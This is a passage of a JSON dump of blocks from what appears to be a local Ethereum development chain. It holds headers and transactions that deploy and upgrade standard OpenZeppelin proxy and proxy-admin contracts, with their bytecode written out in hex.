b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xbb3f68ee3180c27d72b405e0f026c2f0850752c24689f47c6e300eaa43515180","s":"0x34b3b278acb7bf45b95f7e3f8846f22f72104101a486fcfca6bf91b3cbf5799","yParity":"0x1","hash":"0x83cbcad6bf507df8c527396595303607713f92c0dfbcc85a90b9df7d1bc1d335"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xcfc3b4b2b468137c5f6bb766379dddb6922124bf2eb4d0c4482d7505e79f5d64","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xfd04196791caae5693516bb52ae27cbb4349e69796edef2a6f4b641ee4d438c3","transactionsRoot":"0xb3fe9cee7d363ca04ba06b2bd942cd48416e0688732307278a245c18bd46ae27","receiptsRoot":"0xf1fbe0e9be522e6a02e22330de7f182c63f415903e4d304cde617a52d11d5a52","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0xd","gasLimit":"0x1c9c380","gasUsed":"0x46d01","timestamp":"0x67212c15","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xebe4d91","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x36","gas":"0x5c087","maxFeePerGas":"0x21b0dbd9","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405234801561001057600080fd5b5060405161046a38038061046a83398101604081905261002f91610054565b600080546001600160a01b0319166001600160a01b0392909216919091179055610084565b60006020828403121561006657600080fd5b81516001600160a01b038116811461007d57600080fd5b9392505050565b6103d7806100936000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063bd90df701461003b578063fa534dc01461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046101b7565b61008e565b6040519015158152602001610062565b60008054604051829182916001600160a01b03909116906100bf908c908c908c908c908c908c908c906024016102ed565b60408051601f198184030181529181526020820180516001600160e01b03166303e94d3760e61b179052516100f4919061035c565b600060405180830381855afa9150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b50915091508161017f5760405162461bcd60e51b81526020600482015260126024820152711cdd185d1a58d7d8d85b1b0819985a5b195960721b604482015260640160405180910390fd5b808060200190518101906101939190610378565b9a9950505050505050505050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060e0888a0312156101d257600080fd5b87359650602088013595506040880135945060608801356bffffffffffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea26469706673582212207021776faa52361d1355735bd50778b64190416beef25e28f1e583a8862e1f1a64736f6c634300080c00330000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","r":"0x7adfdaacb24934ee0ab64c7a5c72d3be29efb0268f81692772dffad5a005de47","s":"0x1b8411a66613411b326432da7545fb1fb1d41fd1913f1968c7e3f87e0ca69572","yParity":"0x1","hash":"0xba6207cba7d5f845936d9cc1a4bb335307ec8be30eaae92f027b0033192ca3c9"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x99a83b06df21250bbdf82d9ecdafbeb5d6804818727b392f41882c8fd3d38562","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x47d2ef3ed0002b11397d17ce3667ea1ff86f243dc95fb5f1987f832c4bcd659f","transactionsRoot":"0x27d3c976ad06ee097a2945c492ee112092d956f9bfc81310198e160d61ee2a53","receiptsRoot":"0xef8e14512ad410e498c8eaa44e35ee7085169dde44ca53cbd182d980a3445f50","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001000000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000008000000000","difficulty":"0x0","number":"0x1","gasLimit":"0x1c9c380","gasUsed":"0x6c389","timestamp":"0x67212c10","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x3b9aca00","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x21","gas":"0x8ca6a","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b50601733601b565b606b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033","r":"0xe144a74588f01f9810b0e8f4a3395fdef916f5a4fab5d40287e772169b5fa9f","s":"0x41d83b9e57060c38bdadea5b2dd0aef9d79316fbd3e3f878d7890ff664b65852","yParity":"0x0","hash":"0xa0728f442bc05287dd95a484673aced59fab58b7f07605ee591b080f569e373e"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x78297cd2f6138e71564941168b94290e4ee87f69e753b05e66548c726549876b","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x22f328915a5858c375331b5d6eb3c8e9103816f708133d8df17e10009ae15c25","transactionsRoot":"0x9e17f4e91d109ee558e254fcb31c56fa60d69632e4b472879c3e83637d61b963","receiptsRoot":"0x6193b1bab62c50d49e00132c6500726ec7726b982dc46349fe52157303fb9261","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000000000000100000000000000000000000400080000000000400000002000001000240000000000000000000000000000000020000000000000100800800000004000000000000000000000000400000000100000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000001000020000000000000000000000000000000000000000000000000000000000000400000","difficulty":"0x0","number":"0xe","gasLimit":"0x1c9c380","gasUsed":"0x2247c","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xdc07258","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x16","gas":"0x2f597","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757070000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","r":"0x81984eadf6fa11b2fe04df40da0ededf673dc4ebd2f43a8f2dbb921b42352465","s":"0x203bdf4c4e3f2d641859308083f40e6e0a654b04aecc27dcaf0cdb166ff1e5f8","yParity":"0x1","hash":"0xe405e21ba26d4a3b0a72c85452048c4f59cb45eff93e20f4008c71fda12766b8"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x780fd82938c383529d6a0a365c0066f2c5e6857c7da4834f11c2f8477161bcaf","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x95213e8ae677c1eba8cd75c5ec17f9d257fa563db50570e5e3c874b537716e2b","transactionsRoot":"0x7f64d28ebb635688fcb09945d9efa50f8e058df1d8806aba928b84f414abb468","receiptsRoot":"0x2abfbf241f9fd99bd314dd397107048bfd4461fe7f16f96ad609685bb8001921","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000002000000000000000000000008000000000000000000000000000000000000000000020000000000000000000000000040000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x6","gasLimit":"0x1c9c380","gasUsed":"0x8bf2e","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1fd75f12","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x9","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0x75f92751ed3d7537b5de53e3c0299383ac72b76e4a275e0fe031fa88fde7cf4e","s":"0x180b7ca9908cf48e1fcdfe0f76c20ef957de20eb35a2faf607e1430875f5370a","yParity":"0x1","hash":"0xece0fbed8cbdcfe3cf8a43c932bc41f5a9fe7f2dde7ab7cf4e99dc08ea3468f1"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x387091f56f1653774772f1ea803176dc1928c742d7262bc0cb3544af8485e8e7","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xee354031feb1bf068341a19d9a593dcd042a3452fbb54823031054235114be37","transactionsRoot":"0x61500e3f4603ed215ca78fb848e44f63a0589bdf0e5668f45a0b15120ee78255","receiptsRoot":"0x2bb2403f19597d172b2cc8aa1599893e87e720894fcbc5e61d614f615aefd879","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x1","gasLimit":"0x1c9c380","gasUsed":"0x6c389","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x3b9aca00","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x0","gas":"0x8ca6a","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b50601733601b565b606b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f83011684010191505093925050505